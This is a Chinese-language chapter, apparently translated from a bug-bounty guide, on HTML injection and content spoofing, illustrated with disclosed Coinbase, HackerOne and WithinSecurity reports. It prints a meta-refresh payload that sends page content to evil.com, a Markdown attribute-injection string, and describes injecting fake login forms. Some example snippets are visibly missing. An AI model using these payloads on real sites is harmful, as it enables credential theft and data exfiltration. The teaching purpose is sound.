五、HTML 注入

    超文本标记语言(HTML)注入有时也被称为虚拟污染。 这实际上是一个由站点造成的攻击,该站点允许恶意用户向其 Web 页面注入 HTML,并且没有合理处理用户输入。 换句话说,HTML 注入漏洞是由接收 HTML 引起的,通常通过一些之后会呈现在页面的表单输入。 这个漏洞是独立的,不同于注入 Javascript,VBscript 等。

    由于 HTML 是用于定义网页结构的语言,如果攻击者可以注入 HTML,它们基本上可以改变浏览器呈现的内容。 有时,这可能会导致页面外观的完全改变,或在其他情况下,创建表单来欺骗用户,例如,如果你可以注入 HTML,你也许能够将 标签添加到页面,要求用户重新输入他们的用户名和密码。 然而,当提交此表单时,它实际上将信息发送给攻击者。

    难度:低

    URL:coinbase.com/apps

    报告链接:https://hackerone.com/reports/104543

    报告日期:2015.12.10

    奖金:$200

    描述:

    对于此漏洞,报告者识别出 Coinbase 在呈现文本时,实际上在解码 URI 的编码值。 对于那些不熟悉它的人(我在写这篇文章的时候),URI 中的字符是保留的或未保留的。 根据维基百科,保留字是有时有特殊意义的字符,如/&。 未保留的字符是没有任何特殊意义的字符,通常只是字母。

    因此,当字符被 URI 编码时,它将按照 ASCII 转换为其字节值,并以百分号(%)开头。 所以,/变成%2F&成为%26。 另外,ASCII 是一种在互联网上最常见的编码,直到 UTF-8 出现,它是另一种编码类型。 现在,回到我们的例子,如果攻击者输入 HTML:

    Coinbase 实际上会将其渲染为纯文本,就像你上面看到的那样。但是,如果用户提交了 URL 编码字符,像这样:

    Coinbase 实际上会解码该字符串,并渲染相应的字符,像这样:

      使用它,报告者演示了如何提交带有用户名和密码字段的 HTML 表单,Coinbase 会渲染他。如果这个用户是恶意的,Coinbase 就会渲染一个表单,它将值提交给恶意网站来捕获凭据(假设人们填充并提交了表单)。

      难度:中

      URL:hackerone.com

      报告链接:

      报告日期:2016.1.26

      奖金:$500

      描述:

      在读完 Yahoo XSS 的描述(第七章示例四),我对文本编辑器中的 HTML 渲染测试产生了兴趣。这包含玩转 HackerOne 的 Markdown 编辑器,在图像标签中输入一些类似ismap= "yyy=xxx""'test"的东西。这样做的时候,我注意到,编辑器会在双引号里面包含一个单引号 - 这叫做悬置引号。

      那个时候,我并没有真正理解它的含义。我知道如果你在某个地方注入另一个单引号,两个引号就会被浏览器一起解析,浏览器会将它们之间的内容视为一个 HTML 元素,例如:

      使用这个例子,如果你打算注入一个 Meta 标签:

      1. <meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text=

      浏览器会提交两个引号之间的任何东西。现在,结果是,这个已经在 HackerOne 的 #110578 报告中由 公开。看到它公开之后,我有一点失望。

      根据 HackerOne,它们依赖于 Redcarpet(一个用于 Markdown 处理的 Ruby 库)的实现,来转义任何 Markdown 输入的 HTML 输出,随后它会通过 React 组件的dangerouslySetInnerHTML直接传递给 HTML DOM(也就是页面)。此外,React 是一个 JavaScript 库,可用于动态更新 Web 页面的内容,而不需要重新加载页面。

      DOM 指代用于有效 HTML 以及 格式良好的 XML 的应用程序接口。本质上,根据维基百科,DOM 是跨平台并且语言无关的约定,用于展示 HTML、XHTML 和 XMl 中的对象,并与其交互。

      在 HackerOne 的实现中,它们并没有合理转义 HTML 输出,这会导致潜在的漏洞。现在,也就是说,查看披露,我觉得我应该测试一下心得代码。我返回并测试了这个:

      1. [test](http://www.torontowebsitedeveloper.com "test ismap="alert xss" yyy="test"\ ")

      它会变成

      你可以看到,我能够将一堆 HTML 注入到<a>标签中。所以,HackerOne 回滚了该修复版本,并重新开始转义单引号了。

      难度:低

      URL:

      报告链接:https://hackerone.com/reports/111094

      报告日期:2015.1.16

      奖金:$250

      描述:

      虽然内容伪造实际上和 HTML 注入是不同的漏洞,我也将其包含在这里,因为它们拥有相似的本质,攻击者让一个站点渲染它们选择的内容。

      WithinSecurity 构建在 WordPress 平台之上,它包含登录页面withinsecurity.com/wp-login.php(这个站点已经合并到了 HackerOne 的核心平台中)。攻击者注意到了在登录过程中,如果发生了错误,WithinSecurity 就会渲染access_denied,同时对应 URL 中的error参数:

      1. https://withinsecurity.com/wp-login.php?error=access_denied

      注意到了这个,攻击者尝试修改error参数,并发现无论参数传递了什么值,都会被站点渲染为错误信息的一部分,并展示给用户。这里是所用的示例:

        WithinSecurity 内容伪造

        这里的关键是注意到 URL 中的参数在页面中渲染。虽然他们没有解释,我可以假设攻击者注意到了access_denied展示在了页面上,但是也包含在 URL 中。这里他们也报告了,漏洞也可以由一个简单的测试,修改access_denied参数来找到。

        发现这些漏洞并不是通过仅仅提交 HTML,而是弄清楚站点如何渲染你的输入文本,像是 URI 编码的字符。而且,虽然内容伪造并不和 HTML 注入完全一样,它也是类似的,因为它涉及让一些输入在 HTML 页面中反映给受害者。攻击者应该仔细寻找机会,来操纵 URL 参数,并让它们在站点上渲染。